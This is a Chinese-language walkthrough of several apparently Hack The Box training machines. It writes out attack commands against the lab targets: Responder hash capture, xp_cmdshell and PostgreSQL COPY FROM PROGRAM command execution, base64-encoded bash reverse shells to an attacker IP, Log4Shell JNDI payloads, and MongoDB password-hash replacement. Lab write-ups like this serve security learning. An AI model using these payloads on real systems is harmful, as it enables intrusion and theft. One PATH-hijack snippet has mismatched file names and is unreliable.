ps 我个人是在美国的服务器上架设代理,在vps上连接openvpn,然后使用proxifier来转发流量,liunx就用proxychains4,这样虽然比较快,但是端口扫描就只能在服务器上做了

常用

nmap全端口扫描

1
nmap -sS -sV 10.129.88.187 -p- -T5 -vv

拿到shell

拿到shell后先尝试提权
看用户文件
而后查看后台进程 ps -aux
传fscan扫其他主机的服务

Meow

nmap扫太慢了,拿fscan扫可以发现开启了23端口telnet服务,尝试登陆

1
telnet 10.129.150.178

直接root登陆,未授权。

正常可以用msf来爆破

kali自带自带子在

1
/usr/share/wordlists/legion/

Fawn

FTP存在匿名登陆 匿名账号anonymous

使用msf的ftp login 模块
设置好字典,账号密码用空格分隔+

1
set USERPASS_FILE /usr/share/wordlists/legion/ftp-betterdefaultpasslist.txt

爆破出来后可以用MobaXterm登陆

Dancing

发现smb协议且有弱口令

1
//10.129.108.81

Redeemer

开启了redis,用kali来连接

1
redis-cli -h host -p port -a password

直接连上了,存在redis未授权

msf爆破时会直接报redis未设置密码的错误

1
keys *

可以看到所有的key,会发现flag

使用get得到flag

Explosion

直接win+R mstsc 然后就是输入用户名密码连接rdp

Mongod

尝试使用Navicat连接

Crocodile

开启了80 端口和ftp服务

且其成功匿名登陆

ftp里有账号密码。

用linux的话可以用get进行下载

尝试登陆

Responder

访问这个ip会302跳转,但是跳转的域名是不存在的,我们需要自己在本地配置dns

C:\Windows\System32\drivers\etc\hosts
写映射

然后就可以了,这里好像是因为谷歌内核的原因我只能用火狐访问

一个前端页面,直接开抓包看什么时候会请求

可以发现很可能存在文件读取

Responder

这里我们可以了解一下Responder
Responder是一种用于LLMNR/NBT-NS/mDNS 投毒攻击的工具。这算是一种内网攻击的手段。
受害者(例如一台 Windows 主机)尝试访问一个网络资源(如共享文件夹 、、\\fileserver\share)。
如果受害者无法通过 DNS 解析 fileserver 的主机名,它会使用 LLMNR(Link-Local Multicast Name Resolution)、NBT-NS(NetBIOS Name Service) 或 mDNS(Multicast DNS) 协议广播查询,询问网络中是否有主机知道 fileserver 的地址。

用Responder就可以监听请求,以此获得用户名和NTML哈希值,NTML哈希值可以用hashcat爆破,爆破出来就是密码。

1
responder -I tun0 -w -d

得到用户名和hash值

john

将hash值存到hash.txt中庸john爆破

1
john -w=/usr/share/wordlists/rockyou.txt hash.txt

得到密码

nmap全端口扫描

1
nmap -sS -sV 10.129.88.187 -p- -T5 -vv

可以扫到5985端口的winrm服务。这个服务是可以进行远程管理的

这里使用evil-winrm来进行命令执行

evil-winrm

1
evil-winrm -i 10.129.88.187  -u Administrator -p badminton

我们可以使用download来下载文件,也可以使用upload来上传文件

1
download flag.txt /root/flag.txt
1
upload ../../root/up.txt ./

因为 upload是根据嗯程序运行的相对目录来的,我之前启动evil-winrm时目录为/root/HTB所以如果想传/root/up.txt就需要目录穿越

我们可以利用upload来上传c2来更好的远控吧

Archetype

smb连接

smb弱口令(测试之后发现是未授权访问)

1
2
proxychains4 smbclient -L //10.129.242.137 -U admin //列出存储目录
proxychains4 smbclient -L //10.129.242.137 -N

使用smbclint 来连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
选项	描述
-L 列出目标主机的共享。
-U 指定用户名。
-m 指定 SMB 协议版本(如 SMB2、SMB3)。
-p 指定端口号(默认 445)。
-W 指定工作组或域名。
-c 执行指定的命令后退出。
-A 从文件读取用户名和密码。
-N 不使用密码进行连接。
-------------------------------
连接后的交互命令
命令 描述
ls 列出当前目录的文件和子目录。
cd 更改当前目录。
get 下载文件到本地。 get 存储桶文件 本地下载位置
put 上传文件到共享。 put 本地文件 存储桶
mget 批量下载文件。
mput 批量上传文件。
mkdir 创建目录。
rmdir 删除目录。
rm 删除文件。
rename 重命名文件或目录。
exit 或 quit 退出 smbclient。

1
proxychains4 smbclient //10.129.242.137/backups -N
1
get prod.dtsConfig /root/prod.dtsConfig

下载文件

得到了账号密码是SQLNCLI10.1这个服务的也就是1433端口的服务
sqlserver连接脚本我们可以使用impacket里的脚本。kali自带的在/usr/share/doc/python3-impacket/examples/
脚本在impacket的examples目录下
我下载到了/root/HTB/impacket/examples好管理

我们可以使用mssqlclient.py进行连接

1
python3 ./HTB/impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.129.242.137 -windows-auth 

登陆上sql_server 后我们可以进行数据库操作,如果权限是admin权限还可以使用xp_cmdshell来命令执行

1
2
3
4
5
SELECT name FROM sys.databases; //查询所有数据库
USE DatabaseName; //使用数据库
SELECT name AS TableName FROM sys.tables ORDER BY TableName; //查询所有表
EXEC sp_help 'TableName'; //查看表结构


语法与mysql很相似

我们可以使用xp_cmdshell 来命令执行
但是xp_cmdshell 默认是关闭的,我们需要开启,开启xp_cmdshell又需要admin权限
先检测一下当前用户是不是admin

1
SELECT IS_SRVROLEMEMBER('sysadmin');

1
2
3
4
5
6
7
8
9
10
EXEC sp_configure 'show advanced options',1 //开启高级配置选项。
RECONFIGURE; //更新配置
EXECUTE sp_configure 'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE;


xp_cmdshell "whoami" //经过测试单引号不行,因为单引号在sql_server中被当成字符串常量,使用单引号就会被识别为字符串而不是命令
xp_cmdshell "systeminfo"
xp_cmdshell "net user"
xp_cmdshell "netstat -ano"

我们可以看只有最低权限

查看历史命令可以发现账号密码

1
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 

sql_svc的命令执行记录可以发现账号密码
使用Impacket psexec.py获取shell
或者使用CS的psexec。

Oopsie

开启了web端口和22端口

发现一个疑似login的路径

底下有一个游客登陆

可以看到其设置的cookie是直接明文设置了。前面一个是user的id而后面一个应该是权限。尝试直接修改权限会发现不行。
而忘记上传是需要admin权限的

在Account可以看到账号信息。尝试抓包看看流量

修改id可以找到admin的id

修改cookie上传一句话木马。之前扫目录的时候扫出了一个403的uploads那么上传的位置应该就在uploads

1
find / -user root -perm -4000 -print 2>/dev/null

看一下suid权限

可以发现有一个奇怪的文件
/usr/bin/bugtracker
但我们没权限执行

1
2
3
4
5
6
7
8
ls -l /usr/bin/bugtracker


-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020

find / -group bugtracker 2>/dev/null //查看该用户组其他文件



可以发现其得是bugtracker用户组的才能运行

可以发现用户文件夹下有应该user.txt

f2c74ee8db7983851ab2a96a44eb7981
得到用户flag

找一下web源码的数据库配置文件。

发现数据库账号密码
但是我们可以发现这个用户名和我们之前在home下看到的用户一模一样,猜测这个为该系统用户账号密码,直接ssh连

1
proxychains4 ssh robert@10.129.62.243


如果目标机器没用开ssh,我们可以通过弹shell然后使用su robert来切换用户

一个个测shell命令有点麻烦,我这里直接用蚁剑的插件弹

1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'

提升为交互式终端

1
2
SHELL=/bin/bash script -q /dev/null
python3 -c 'import pty; pty.spawn("/bin/bash")'

之前其实看suid权限的时候就以及发现了一个奇怪的文件

1
/usr/bin/bugtracker

1
2
find / -group bugtracker 2>/dev/null


只是因为蚁剑的非交互式终端导致了我执行这个文件时,没回显

经过尝试发现这个bug id其实是一个cat程序
用蚁剑下载下来逆一下

可以发现其是使用sysem(‘cat /root/reports’)而不是/bin/cat 这样就存在了环境变量劫持

尝试劫持环境变量来提权

1
2
3
4
5
6
#部署$PATH劫持后门
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/netstat
chmod 777 /tmp/cat
#执行受害程序
./a.out


拿到root权限

af13b0bee69f8a877c3faf667f7beacf

Vaccine

开了ftp且有匿名登陆
也具可以用账号密码登陆

1
ftp://ftp:b1uRR3@10.129.221.134/

有个备份文件

要密码,尝试用John爆破

1
zip2john backup.zip >hash.txt 
1
john -w=/usr/share/wordlists/rockyou.txt hash.txt

看源码发现发现密码的md5直接写到了代码里
用john爆破md5

1
john -w=/usr/share/wordlists/rockyou.txt md5.txt --format=Raw-MD5

得到密码qwerty789

发现sql注入
经过order by知道有5列。但是直接使用union select 1,2,3,4,5是发生了报错

这个报错是告诉我们前后的列的数据类型是要一样的,而这样的数据库大概率是postgresq
pgsql

我们可以使用NULL来进行占位

1
2
Sandy' union select NULL,NULL,NULL,NULL,NULL--+
Sandy' union select '1','2','3','4','5'--+


列类型是字符串

当然注入其实不是重点 pgsql是可以直接写文件读文件读目录的
我们直接写文件拿shell

读文件

1
1'union select '1','1','1','1',pg_read_file('/etc/passwd');--+

写文件

1
1';COPY (select '<?php phpinfo();?>') to '/var/www/html/1.php';--+

web目录没写入权限

命令执行

我们可以利用如下语句来命令执行

1
2
3
4
5
1';drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'bash -i >& /dev/tcp/10.10.15.129/7777 0>&1';
select cmd_output from cmd_exec;
drop table if exists cmd_exec;--+

上面的命令执行是无回显的,为了方便操作我们尝试弹shell

而在上面的命令执行我们的&会杯转义我们只要先弹一个无回显的shell

1
2
3
4
5
1';drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'bash -c "bash -i 0> /dev/tcp/10.10.15.129/7777"';
select cmd_output from cmd_exec;
drop table if exists cmd_exec;--+

拿到无回显shell后,弹一个有回显的

1
bash -c "bash -i &> /dev/tcp/10.10.15.129/7778 0>&1"
1
2
SHELL=/bin/bash script -q /dev/null

读取一下dashboard.php尝试找数据库密码

P@s5w0rd!
直接连ssh

拿到用户flag

1
sudo -l


可以发现可以使用sudo来运行/bin/vi /etc/postgresql/11/main/pg_hba.conf

Linux提权之Sudo 70种提权方法(上)
Linux提权之Sudo 70种提权方法(中)
Linux提权之Sudo 70种提权方法(下)

Linux提权之Sudo 70种提权方法
直接甩出某位大佬的sudo提权70种

得到root权限

Unified

扫一下可以发现如下端口开放

JNDInjector v1.1

开了结果web服务,只有8443可以正常访问

发现是Unifi的6.4.54版本,该版本存在着log4j的漏洞cve-2021-44228

remember处我们可以进行JNDI注入
但是经过尝试发现不使用利用链直接使用ldap来打是打不通的,尝试了JNDIInjector的其他链子发现不太行。

简单看一下版本jar包之类的

1
2
${jndi:ldap://10.10.16.63:389/${sys:java.version}}
${jndi:ldap://10.10.16.63:389/${sys:java.class.path}}


java属于高版本的java,而我们够探测的类只有一个jar包

我们需要使用本地的反序列化进行绕过。JNDIInjector的cc链子啥的不行就只好换一个工具了。
我这里使用RogueJndi-1.1.jar。

使用这个工具的tomcat链可以绕过

1
2
java -jar RogueJndi-1.1.jar -c "bash -c {echo,L2Jpbi9iYXNoIC1jICdiYXNoIC1pICY+IC9kZXYvdGNwLzEwLjEwLjE1LjEyOS81NTU1IDA8JjEn}|{base64,-d}|{bash,-i}" -n 10.10.15.129

1
2
3
4
5
6
7
8

{
"username":"123",
"password":"123",
"remember":"${jndi:ldap://10.10.15.129:1389/o=tomcat}",
"strict":true
}

收到shell

拿到用户flag

1
bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1

看一下后台进程

1
ps -aux 


发现mongodb器端口为27117
读一下配置文件,cat /etc/mongodb.conf

可以发现没有 security 部分,没有明确启用 authorization: enabled

使用其并没用密码认证

直接连接

1
2
3
4
5
mongo --host 127.0.0.1 --port 27117

有密码的话可以尝试在环境变量或者配置文件中读取
cat /etc/mongodb.conf

mongo基本操作

mongo 是 MongoDB 提供的命令行客户端工具,用于连接 MongoDB 数据库并执行交互式操作或脚本。以下是关于 mongo 命令的详细说明、常见用法和示例:


基本语法

1
mongo [options] [database] [script.js]

常用参数

  1. --host <hostname>

    • 指定 MongoDB 服务器的主机名(默认是 localhost)。
  2. --port <port>

    • 指定 MongoDB 服务器的端口号(默认是 27017)。
  3. -u <username>

    • 指定连接的用户名(用于认证)。
  4. -p <password>

    • 指定连接的密码(用于认证)。
  5. --authenticationDatabase <db>

    • 指定认证数据库(默认是 admin)。
  6. --eval "<javascript>"

    • 执行指定的 JavaScript 代码,而不是进入交互式 Shell。
  7. --quiet

    • 减少输出信息(适用于脚本执行)。
  8. --help

    • 显示帮助信息。

常见用法

1. 连接到默认的 MongoDB 实例

1
mongo
  • 连接到本地 localhost:27017 的 MongoDB 实例。

2. 连接到指定主机和端口的 MongoDB

1
mongo --host 192.168.1.100 --port 27117
  • 连接到 192.168.1.100:27117 的 MongoDB 实例。

3. 连接到指定数据库

1
mongo mydb
  • 连接到本地 MongoDB 实例,并选择 mydb 数据库。

4. 使用认证连接

1
mongo -u myuser -p mypassword --authenticationDatabase admin
  • 使用用户名 myuser 和密码 mypassword 连接到 MongoDB,并在 admin 数据库中进行认证。

5. 执行 JavaScript 代码

1
mongo --eval "db.version()"
  • 连接到默认 MongoDB 实例,并执行 db.version() 命令,输出 MongoDB 版本。

6. 执行脚本文件

1
mongo mydb myscript.js
  • 连接到 mydb 数据库,并执行 myscript.js 文件中的 JavaScript 代码。

7. 查询数据并输出

1
mongo mydb --eval "db.mycollection.find().forEach(printjson);"
  • 连接到 mydb 数据库,查询 mycollection 集合中的所有文档,并以 JSON 格式输出。

交互式 Shell 常用命令

mongo 进入交互式 Shell 后,可以执行以下命令:

1. 显示数据库

1
show dbs
  • 列出所有数据库。

2. 切换数据库

1
use mydb
  • 切换到 mydb 数据库。

3. 显示集合

1
show collections
  • 列出当前数据库中的所有集合。

4. 查询数据

1
db.mycollection.find()
  • 查询 mycollection 集合中的所有文档。

5. 插入数据

1
db.mycollection.insert({ name: "John", age: 30 })
  • mycollection 集合中插入一条文档。

6. 更新数据

1
db.mycollection.update({ name: "John" }, { $set: { age: 31 } })
  • 更新 mycollection 集合中 nameJohn 的文档,将 age 字段设置为 31

7. 删除数据

1
db.mycollection.remove({ name: "John" })
  • 删除 mycollection 集合中 nameJohn 的文档。

8. 退出 Shell

1
exit
  • 退出 mongo Shell。

示例

1. 查询并输出数据

1
mongo mydb --eval "db.users.find().forEach(printjson);"
  • 连接到 mydb 数据库,查询 users 集合中的所有文档,并以 JSON 格式输出。

2. 执行脚本文件

假设 myscript.js 文件内容如下:

1
2
db.users.insert({ name: "Alice", age: 25 });
db.users.find().forEach(printjson);

执行命令:
1
mongo mydb myscript.js

  • 连接到 mydb 数据库,插入一条文档并查询输出。

3. 批量插入数据

1
mongo mydb --eval "for (let i = 1; i <= 10; i++) { db.numbers.insert({ value: i }); }"
  • 连接到 mydb 数据库,向 numbers 集合中插入 10 条文档。

注意事项

  1. 权限

    • 某些操作需要管理员权限,确保使用正确的认证信息。
  2. 性能

    • 避免在大型集合上执行未优化的查询,可能导致性能问题。
  3. 脚本执行

    • 在脚本中使用 print()printjson() 输出结果。
  4. 退出状态

    • 如果命令执行失败,mongo 会返回非零退出状态。

使用show dbs

可以发现只有ace,
use ace
show collections
可以发现一个admin表
db.admin.find()

使用

1
2
db.admin.find().forEach(printjson);


列出admin的内容

我们可以尝试队admin的密码进行替换
我们先使用hashid来查一下这个是什么加密

1
hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'

使用mkpasswd来生成sha512的hash值

1
mkpasswd -m SHA-512 admin 

1
db.admin.update({ "name": "administrator" }, { $set: { "x_shadow": "$6$1S6kGZYDVOBuvxkx$WABCM74KY/EYiEgYaSckzK0U4CDaeE71ymDk8R5vyAUSTmbgr1Sp3rpSoFxw5aAl6/yOPsVRIbF0TOFHNNe4I1" } })

设置里可以看到ssh的账号密码
直接ssh连接

1
ssh root@10.129.101.92

TwoMillion